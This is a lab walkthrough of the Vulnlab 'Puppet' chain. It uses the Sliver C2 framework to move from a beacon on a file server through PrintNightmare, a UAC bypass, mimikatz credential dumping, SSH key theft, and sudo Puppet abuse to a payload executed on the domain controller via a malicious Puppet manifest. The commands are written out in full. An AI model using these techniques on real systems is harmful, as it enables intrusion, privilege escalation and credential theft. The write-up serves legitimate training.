VL Puppet
Puppet is a medium-difficulty chain on Vulnlab in which you are using the sliver c2 framework to compromise a small ad environment. You start with an already existing beacon on file server, escalate privileges via print nightmare and then dump credentials. Afterwards you laterally move to a linux system that is acting as a puppet server, essentially controlling the whole environment. You escalate privileges on the puppet server and use it to move laterally to the domain controller where you dump credentials once more to obtain the final flag.
Enumeration
We start with a port scan on the only machine that’s available (think of the company giving you an internal machine for the test):
1
2
3
4
5
6
7
Host is up (0.024s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
8443/tcp open https-alt
31337/tcp open Elite
Besides ftp and ssh we notice 8443 and 31337 which are rather uncommon ports. Let’s check ftp first:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ftp 10.10.144.231
Connected to 10.10.144.231.
220 (vsFTPd 3.0.5)
Name (10.10.144.231:xct): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||38834|)
150 Here comes the directory listing.
-rw----r-- 1 0 0 2119 Oct 11 12:32 red_127.0.0.1.cfg
-rwxr-xr-x 1 0 0 36515304 Oct 12 18:17 sliver-client_linux
226 Directory send OK.
ftp>
The ftp share contains a sliver config and also the sliver client for convenience. This company already setup the c2 server for you but doesn’t want to give you shell access on the server. Let’s try to connect. When we check the config we note that it’s connecting to localhost by default:
1
2
3
4
...
"lhost":"127.0.0.1",
"lport":31337,
...
An easy fix is running socat to redirect traffic from local port 31337 to the remote machine:
1
sudo socat TCP-LISTEN:31337,reuseaddr,fork TCP:10.10.144.231:31337
Now we can import the config and start the sliver client:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
./sliver-client_linux import $PWD/red_127.0.0.1.cfg
Connecting to 127.0.0.1:31337 ...
[*] Loaded 20 aliases from disk
[*] Loaded 105 extension(s) from disk
██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███
▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒
░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒
▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄
▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░
All hackers gain conspire
[*] Server v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
Running the beacons
command shows that a beacon is already connected to this server:
1
2
3
4
5
sliver > beacons
ID Name Transport Hostname Username Operating System Last Check-In Next Check-In
========== ============= =========== ========== ==================== ================== =============== ===============
56d068c7 puppet-mtls mtls File01 PUPPET\Bruce.Smith windows/amd64 6s 26s
We can now either interact with the beacon or switch to a faster interactive session. For this lab I’m going to work with a session but note that on real engagements working with a beacon is usually preferred for evasion purposes. Beacons sleep between command executions and most c2 frameworks apply obfuscation while those sleeps are occurring. When switching to interactive session, no sleeps occur anymore so this evasion component is lost. Let’s switch to the session then:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[*] Active beacon puppet-mtls (56d068c7-b273-4b0e-aabf-327b0a632eb0)
sliver (puppet-mtls) > interactive
[*] Using beacon's active C2 endpoint: mtls://pm01.puppet.vl:8443
[*] Tasked beacon puppet-mtls (71bf6b46)
[*] Session 6e7673eb puppet-mtls - 10.10.144.230:50522 (File01) - windows/amd64 - Thu, 17 Oct 2024 13:21:43 CEST
sliver (puppet-mtls) > use 6e7673eb
[*] Active session puppet-mtls (6e7673eb-db33-4756-b7e9-8e9238c92aa4)
sliver (puppet-mtls) >
We are now going to do some local enumeration, first of all browsing the file system we note that puppet is installed:
1
2
3
4
5
6
7
8
9
10
11
12
sliver (puppet-mtls) > cd c:\\programdata
[*] C:\programdata
sliver (puppet-mtls) > ls
C:\programdata (17 items, 4.6 KiB)
==================================
...
drwxrwxrwx Puppet <dir> Sat Oct 12 04:42:37 -0700 2024
drwxrwxrwx PuppetLabs <dir> Fri Oct 11 06:07:15 -0700 2024
...
Puppet is a tool for configuration management - in a way similar to our c2 framework :) This means there is somewhere a puppet server which is controlling machines of the environment. Next we want to know which context we are running in - to see this we are going to run the sa-whoami
beacon object file (bof):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
sliver (puppet-mtls) > sa-whoami
[*] Successfully executed sa-whoami (coff-loader)
[*] Got output:
UserName SID
====================== ====================================
PUPPET\Bruce.Smith S-1-5-21-3066630505-2324057459-3046381011-1126
GROUP INFORMATION Type SID Attributes
================================================= ===================== ============================================= ==================================================
PUPPET\Domain Users Group S-1-5-21-3066630505-2324057459-3046381011-513 Mandatory group, Enabled by default, Enabled group,
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group,
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group,
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group,
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group,
PUPPET\employees Group S-1-5-21-3066630505-2324057459-3046381011-1105 Mandatory group, Enabled by default, Enabled group,
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group,
Mandatory Label\Medium Mandatory Level Label S-1-16-8192 Mandatory group, Enabled by default, Enabled group,
Privilege Name Description State
============================= ================================================= ===========================
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Note that we are a domain user of the “employees” group but don’t seem to have any special privileges. Our next step is gathering data about the ad environment via Bloodhound. We can directly run the sharp-hound-4 assembly from the sliver armory to achieve this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sliver (puppet-mtls) > cd c:\\temp
sliver (puppet-mtls) > sharp-hound-4 -s -t 300 -- -c all,gpolocalgroup
[*] sharp-hound-4 output:
2024-10-17T04:33:04.4654394-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2024-10-17T04:33:04.8250883-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2024-10-17T04:33:04.8882233-07:00|INFORMATION|Initializing SharpHound at 4:33 AM on 10/17/2024
2024-10-17T04:33:05.2644779-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for puppet.vl : DC01.puppet.vl
2024-10-17T04:33:05.3589164-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2024-10-17T04:33:05.7343716-07:00|INFORMATION|Beginning LDAP search for puppet.vl
2024-10-17T04:33:05.8288053-07:00|INFORMATION|Producer has finished, closing LDAP channel
2024-10-17T04:33:05.8288053-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2024-10-17T04:33:36.0752344-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 39 MB RAM
2024-10-17T04:34:02.4117649-07:00|INFORMATION|Consumers finished, closing output channel
2024-10-17T04:34:03.0560925-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2024-10-17T04:34:04.1011067-07:00|INFORMATION|Status: 126 objects finished (+126 2.172414)/s -- Using 49 MB RAM
2024-10-17T04:34:04.1323414-07:00|INFORMATION|Enumeration finished in 00:00:58.3942019
2024-10-17T04:34:04.2889989-07:00|INFORMATION|Saving cache with stats: 85 ID to type mappings.
87 name to SID mappings.
1 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2024-10-17T04:34:04.3046319-07:00|INFORMATION|SharpHound Enumeration Completed at 4:34 AM on 10/17/2024! Happy Graphing!
Note that this saves the output as a zip on the target machine, we still have to download it:
1
2
3
sliver (puppet-mtls) > download 20241017043355_BloodHound.zip
[*] Wrote 13759 bytes (1 file successfully, 0 files unsuccessfully) to /home/xct/vl/puppet/20241017043355_BloodHound.zip
Afterwards we immediately remove the files on the target machine. We load the files into our local BloodHound instance but can’t see any particularly interesting paths. As a next step, we run the sa-adcs-enum
bof to enumerate any potential ADCS instances:
1
2
3
4
5
6
7
8
sa-adcs-enum
[*] Successfully executed sa-adcs-enum (coff-loader)
[*] Got output:
[*] Found 0 CAs in the domain
adcs_enum SUCCESS.
There are however none. Additionally we enumerate open ports the local machine via another bof:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
sliver (puppet-mtls) > sa-netstat
[*] Successfully executed sa-netstat (coff-loader)
[*] Got output:
Processing: 14 Entries
PROTO SRC DST STATE PROCESS PID
TCP 0.0.0.0:135 LISTEN LISTENING ( 856)
TCP 0.0.0.0:445 LISTEN LISTENING ( 4)
TCP 0.0.0.0:3389 LISTEN LISTENING ( 1020)
TCP 0.0.0.0:5985 LISTEN LISTENING ( 4)
TCP 0.0.0.0:47001 LISTEN LISTENING ( 4)
TCP 0.0.0.0:49664 LISTEN LISTENING ( 676)
TCP 0.0.0.0:49665 LISTEN LISTENING ( 532)
TCP 0.0.0.0:49666 LISTEN LISTENING ( 732)
TCP 0.0.0.0:49667 LISTEN LISTENING ( 676)
TCP 0.0.0.0:49668 LISTEN LISTENING ( 1844)
TCP 0.0.0.0:49669 LISTEN LISTENING ( 1012)
TCP 0.0.0.0:49673 LISTEN LISTENING ( 656)
TCP 10.10.144.230:139 LISTEN LISTENING ( 4)
TCP 10.10.144.230:50522 10.10.144.231:8443 ESTABLISHED C:\ProgramData\Puppet\puppet-update.exe ( 4068)
UDP 0.0.0.0:123 *:* ( 652)
UDP 0.0.0.0:3389 *:* ( 1020)
UDP 0.0.0.0:5353 *:* ( 1064)
UDP 0.0.0.0:5355 *:* ( 1064)
UDP 10.10.144.230:137 *:* ( 4)
UDP 10.10.144.230:138 *:* ( 4)
UDP 127.0.0.1:52613 *:* C:\ProgramData\Puppet\puppet-update.exe ( 4068)
UDP 127.0.0.1:62913 *:* ( 676)
Nothing particular interesting sticks out. As a next step we look for local privilege escalation vulnerabilities. A good PowerShell script to use for this is PrivescCheck by itm4n. Since we can not reach our attacker machine directly from the target machine, we will have to either upload the script to the target or host in on the c2 machine. In this case I’m going with the upload way:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sliver (puppet-mtls) > upload PrivescCheck.ps1
sliver (puppet-mtls) > sharpsh -t 300 -- -c invoke-privesccheck -u c:\\temp\\PrivescCheck.ps1
...
[*] Status: Vulnerable - High
Policy : Limits print driver installation to Administrators
Key : HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint
Value : RestrictDriverInstallationToAdministrators
Data : 0
Default : 1
Expected : <null|1>
Description : Installing printer drivers does not require administrator privileges.
Policy : Point and Print Restrictions > NoWarningNoElevationOnInstall
Key : HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint
Value : NoWarningNoElevationOnInstall
Data : 1
Default : 0
Expected : <null|0>
Description : Do not show warning or elevation prompt. Note: this setting reintroduces the PrintNightmare LPE
vulnerability, even if the settings 'InForest' and/or 'TrustedServers' are configured.
...
The machine is vulnerable to PrintNightmare due to a misconfiguration! There are many ways to exploit this, for simplicity I’m going to go with a PoC from this repo. PrintNightmare essentially loads a attacker-controlled DLL as SYSTEM so you could also create your own DLL to load a sliver beacon directly.
However the PoC by John Hammond allows to use a precompiled DLL to add a new administrator user. While this is easy to detect it’s a quick way to achieve what we want here. We use sharpsh
once more to run the PoC and add a new local admin:
1
2
3
sliver (puppet-mtls) > upload CVE-2021-34527.ps1
sliver (puppet-mtls) > sharpsh -i -s -t 300 -- -u c:\\temp\\CVE-2021-34527.ps1 -e -c SQBuAHYAbwBrAGUALQBOAGkAZwBoAHQAbQBhAHIAZQAgAC0ARAByAGkAdgBlAHIATgBhAG0AZQAgACIAWABlAHIAbwB4ADMAMAAxADAAIgAgAC0ATgBlAHcAVQBzAGUAcgAgACIAcgBlAGQAcAB1AHAAcABlAHQAIgAgAC0ATgBlAHcAUABhAHMAcwB3AG8AcgBkACAAIgBSAGUAZABQAHUAcABwAGUAdAAxADIAMwAiAA==
Since we added a local user that is in the administrators group, we can now proceed to use runas
to switch into its context by running the initial beacon payload once more:
1
2
3
4
5
sliver (puppet-mtls) > runas -u redpuppet -P "RedPuppet123" -p c:\\programdata\\puppet\\puppet-update.exe
[*] Successfully ran c:\programdata\puppet\puppet-update.exe on puppet-mtls
[*] Beacon 913973f8 puppet-mtls - 10.10.144.230:51476 (File01) - windows/amd64 - Thu, 17 Oct 2024 14:44:15 CEST
This new beacon is however not in an elevated context due to UAC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
sliver (puppet-mtls) > sa-whoami
[*] Tasked beacon puppet-mtls (cf6b98ac)
[+] puppet-mtls completed task cf6b98ac
[*] Successfully executed sa-whoami (coff-loader)
[*] Got output:
UserName SID
====================== ====================================
FILE01\redpuppet S-1-5-21-2946821189-2073930159-359736154-1001
GROUP INFORMATION Type SID Attributes
================================================= ===================== ============================================= ==================================================
FILE01\None Group S-1-5-21-2946821189-2073930159-359736154-513 Mandatory group, Enabled by default, Enabled group,
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Local account and member of Administrators groupWell-known group S-1-5-114
BUILTIN\Administrators Alias S-1-5-32-544
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group,
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group,
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group,
Mandatory Label\Medium Mandatory Level Label S-1-16-8192 Mandatory group, Enabled by default, Enabled group,
Privilege Name Description State
============================= ================================================= ===========================
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Now we continue with an UAC bypass to finally get a system beacon:
Compiling the UAC bypass BOF:
1
2
cp -rp ~/dev/UACBypasses/SspiUacBypass /root/.sliver-client/extensions/
cd /root/.sliver-client/extensions/SspiUacBypass/; make
Running the BOF:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
extensions load /home/xct/.sliver-client/extensions/SspiUacBypass
SspiUacBypass C:\\programdata\\puppet\\puppet-update.exe
Forging a token from a fake Network Authentication through Datagram Contexts
Network Authentication token forged correctly, handle --> 0x2a4
Forged Token Session ID set to 1. lsasrv!LsapApplyLoopbackSessionId adjusted the token to our current session
Bypass Success! Now impersonating the forged token... Loopback network auth should be seen as elevated now
Invoking CreateSvcRpc (by @x86matthew)
Connecting to \\127.0.0.1\pipe\ntsvcs RPC pipe
Opening service manager...
Creating temporary service...
Executing 'C:\programdata\puppet\puppet-update.exe' as SYSTEM user...
Deleting temporary service...
Finished
[*] Beacon 15d1aae2 puppet-mtls - 10.10.144.230:51531 (File01) - windows/amd64 - Thu, 17 Oct 2024 14:48:30 CEST
This shows a new beacon as SYSTEM:
1
2
3
4
5
6
7
sliver (puppet-mtls) > beacons
ID Name Transport Hostname Username Operating System Last Check-In Next Check-In
========== ============= =========== ========== ===================== ================== =============== ===============
56d068c7 puppet-mtls mtls File01 PUPPET\Bruce.Smith windows/amd64 15s 17s
913973f8 puppet-mtls mtls File01 <err> windows/amd64 2s 30s
15d1aae2 puppet-mtls mtls File01 NT AUTHORITY\SYSTEM windows/amd64 2s 29s
From the new beacon we can now run mimikatz to dump credentials via the sideload functionality (sideload is essentially implementing a custom peloader to run pe files from memory):
1
2
3
4
5
6
7
8
9
10
11
12
use 15d1aae2
sideload /home/xct/drop/mimikatz.exe "token::elevate privilege::debug sekurlsa::logonpasswords exit"
...
msv :
[00000003] Primary
* Username : svc_puppet_win_t1
* Domain : PUPPET
* NTLM : 784c***
* SHA1 : e4b6***
* DPAPI : abe7***
...
Besides the hashes of bruce and the machine itself, we also get the hash of a new user: svc_puppet_win_t1
. This account is likely the account that puppet uses to execute commands on tier one windows servers. According to the AD data we gathered there is also a svc_puppet_win_t0
and a svc_puppet_lin_t1
account.
One aspect we did not enumerate yet, is domain shares. So let’s first do it from the system account (which is just a normal domain user as well - the machine account of the server):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sa-netshares dc01
Share:
---------------------file01----------------------------------
ADMIN$
C$
files
IPC$
sa-netshares dc01
Share:
---------------------dc01----------------------------------
ADMIN$
C$
IPC$
it
NETLOGON
SYSVOL
Non-default shares are “files” on file01 where we already administrator and the it share on the dc. Let’s check if we can access the it share:
1
2
3
4
sliver (puppet-mtls) > ls \\\\dc01.puppet.vl\\it
\\dc01.puppet.vl\it\ (0 items, 0 B)
==================================
We don’t have access there. Let’s check the new user we got earlier. This is the user running the puppet service, so without having to use pass-the-hash we could change the service config to obtain a beacon, and then change it back afterwards. Let’s first enumerate services:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sliver (puppet-mtls) > sa-sc-enum
...
sliver (puppet-mtls) > sa-sc-query file01 puppet
[*] Successfully executed sa-sc-query (coff-loader)
[*] Got output:
SERVICE_NAME: puppet
TYPE : 16 WIN32_OWN
STATE : 4 RUNNING
WIN32_EXIT_CODE : 0
SERVICE_EXIT_CODE : 0
CHECKPOINT : 0
WAIT_HINT : 0
PID : 4040
Flags : 0
Now we could change the startup path and restart the service. There is a better way so I’m not going to do it, but here are the commands that would achieve it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# obtaining the service path
sa-reg-query file01 2 System\\CurrentControlSet\\Services\\puppet ImagePath
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\puppet
ImagePath REG_EXPAND_SZ "C:\Program Files\Puppet Labs\Puppet\sys\ruby\bin\ruby.exe" -rubygems "C:\Program Files\Puppet Labs\Puppet\service\daemon.rb"
# changing the service path
execute -o -s -- c:\\windows\\system32\\cmd.exe /c sc config puppet binPath=c:\\programdata\\puppet\\puppet-update.exe
execute -o -s -- c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -c "Restart-Service -Name puppet"
...
[*] Beacon 55fa6e2a puppet-mtls - 10.10.144.230:52071 (File01) - windows/amd64 - Thu, 17 Oct 2024 15:23:40 CEST
# restoring the service path
execute -o -s -- c:\\windows\\system32\\cmd.exe /c sc config puppet binPath="\"C:\\Program Files\\Puppet Labs\\Puppet\\sys\\ruby\\bin\\ruby.exe\" -rubygems \"C:\\Program Files\\Puppet Labs\\Puppet\\service\\daemon.rb\""
execute -o -s -- c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -c "Restart-Service -Name puppet"
The problem with this is, although it works its a bit invasive and times out quickly due to being a service. A better approach is finding the existing process and injection/migrating to it:
1
2
3
4
5
6
7
8
9
sliver (puppet-mtls) > ps
...
4832 656 PUPPET\svc_puppet_win_t1 x86_64 ruby.exe
...
sliver (puppet-mtls) > migrate -p 4832
[*] Successfully migrated to 4832
From the new beacon as svc_puppet_win_t1
we can now list the share on the domain controller, since this account has access rights to it:
1
2
3
4
5
6
7
sliver (puppet-mtls) > ls \\\\dc01.puppet.vl\\it
\\dc01.puppet.vl\it\ (3 items, 813.9 KiB)
=========================================
drwxrwxrwx .ssh <dir> Sat Oct 12 01:39:50 -0700 2024
drwxrwxrwx firewalls <dir> Sat Oct 12 01:15:05 -0700 2024
-rw-rw-rw- PsExec64.exe 813.9 KiB Sat Oct 12 01:07:00 -0700 2024
We can now see that we have indeed access and look around a bit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
sliver (puppet-mtls) > ls \\\\dc01.puppet.vl\\it\\.ssh
\\dc01.puppet.vl\it\.ssh (2 items, 580 B)
=========================================
-rw-rw-rw- ed25519 472 B Sat Oct 12 01:14:23 -0700 2024
-rw-rw-rw- ed25519.pub 108 B Sat Oct 12 01:40:09 -0700 2024
sliver (puppet-mtls) > download \\\\dc01.puppet.vl\\it\\.ssh\\ed25519
[*] Tasked beacon puppet-mtls (9b246218)
sliver (puppet-mtls) > download \\\\dc01.puppet.vl\\it\\.ssh\\ed25519.pub
[*] Tasked beacon puppet-mtls (0a09f6ff)
From the content of the files, we learn that this is a ssh private key for the account svc_puppet_lin_t1@puppet.vl
(note that you may have to convert line endings since this key came from a windows machine). Although sliver has a functionality to run ssh commands from a beacon, I didn’t have much luck getting it to work. So we are going to setup a port forward to ssh from our attacker machine:
1
2
3
4
5
6
7
# forward port from a session or beacon
portfwd add --bind 2222 -r 10.10.144.231:22
...
ssh -i svc_puppet_lin_t1 -t 'svc_puppet_lin_t1@puppet.vl'@127.0.0.1 -p 2222
...
Last login: Sat Oct 12 18:18:52 2024 from 10.8.0.101
svc_puppet_lin_t1@puppet.vl@puppet:~$
This worked and we have access to the puppet master machine now:
1
2
3
4
5
6
sudo -l
Matching Defaults entries for svc_puppet_lin_t1@puppet.vl on puppet:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc_puppet_lin_t1@puppet.vl may run the following commands on puppet:
(ALL) NOPASSWD: /usr/bin/puppet
Since this user is supposed to be here, he can also execute puppet as root. We can also use this for a quick privilege escalation:
1
2
3
4
5
sudo puppet apply -e "exec { '/bin/sh -c \"chmod u+s /bin/bash\"': }"
bash -p
bash-5.1# id
uid=451001132(svc_puppet_lin_t1@puppet.vl) gid=451000513(domain users@puppet.vl) euid=0(root) groups=451000513(domain users@puppet.vl),451001133(admins_t1@puppet.vl)
Let’s add a key to root and continue as the root user. Let’s enumerate the machines controlled by this one via puppet:
1
2
3
4
5
puppet cert list --all
+ "dc01.puppet.vl" (SHA256) E4:C3:42:71:83:88:08:07:6A:C5:A1:9D:FA:C2:7E:BB:D5:65:5F:71:9F:D3:BE:11:96:B7:26:CD:4F:5C:68:C6
+ "file01.puppet.vl" (SHA256) 61:ED:86:C3:55:35:36:89:D5:FC:3A:32:05:D1:23:EC:C3:F1:58:E4:D7:9A:6B:3E:65:F4:F2:F2:77:34:B0:CA
+ "puppet.puppet.vl" (SHA256) 11:65:85:DB:9F:E4:19:03:04:21:92:4B:19:03:17:6D:29:A9:E9:56:0F:04:A6:16:2B:44:46:A3:33:20:92:9C (alt names: "DNS:puppet", "DNS:puppet.puppet.vl")
We can see that both file01 and the dc are controlled by this puppet master instance. Although we don’t know which accounts the agents run as (besides for file01) we can guess that it’s probably svc_puppet_win_t0
for the domain controller. Let’s find a way to run a command there:
1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir -p /etc/puppet/code/environments/production/manifests
nano /etc/puppet/code/environments/production/manifests/site.pp
node 'dc01.puppet.vl' {
exec { 'pwned':
command => 'C:\\Windows\\System32\\cmd.exe /c \\\\file01.puppet.vl\\files\\update.exe',
logoutput => true,
}
}
node default {
notify { 'This is the default node': }
}
Note that we are trying to run a payload of a smb share on the file server we are on. We also have to copy the payload there. Finally we can try to run the payload:
1
puppet apply /etc/puppet/code/environments/production/manifests/site.pp
It’s up the agent to pickup the change. On default settings this is every 30 minutes, but here the agent is checking in every minute to help with the exploitation.
Shortly after we get a beacon from the dc:
1
2
3
4
5
6
7
8
[*] Beacon 66b57ae6 puppet-mtls - 10.10.144.229:63253 (DC01) - windows/amd64 - Thu, 17 Oct 2024 16:07:46 CEST
sliver (puppet-mtls) > use 66b57ae6
sliver (puppet-mtls) > sa-whoami
UserName SID
====================== ====================================
PUPPET\svc_puppet_win_t0 S-1-5-21-3066630505-2324057459-3046381011-1602
This gives full admin privileges on the DC, the final flag is however not in the usual location - on this machine it’s the password of one of the users. So we have to dump credentials to obtain it.
That’s it for this chain, I hope it was fun!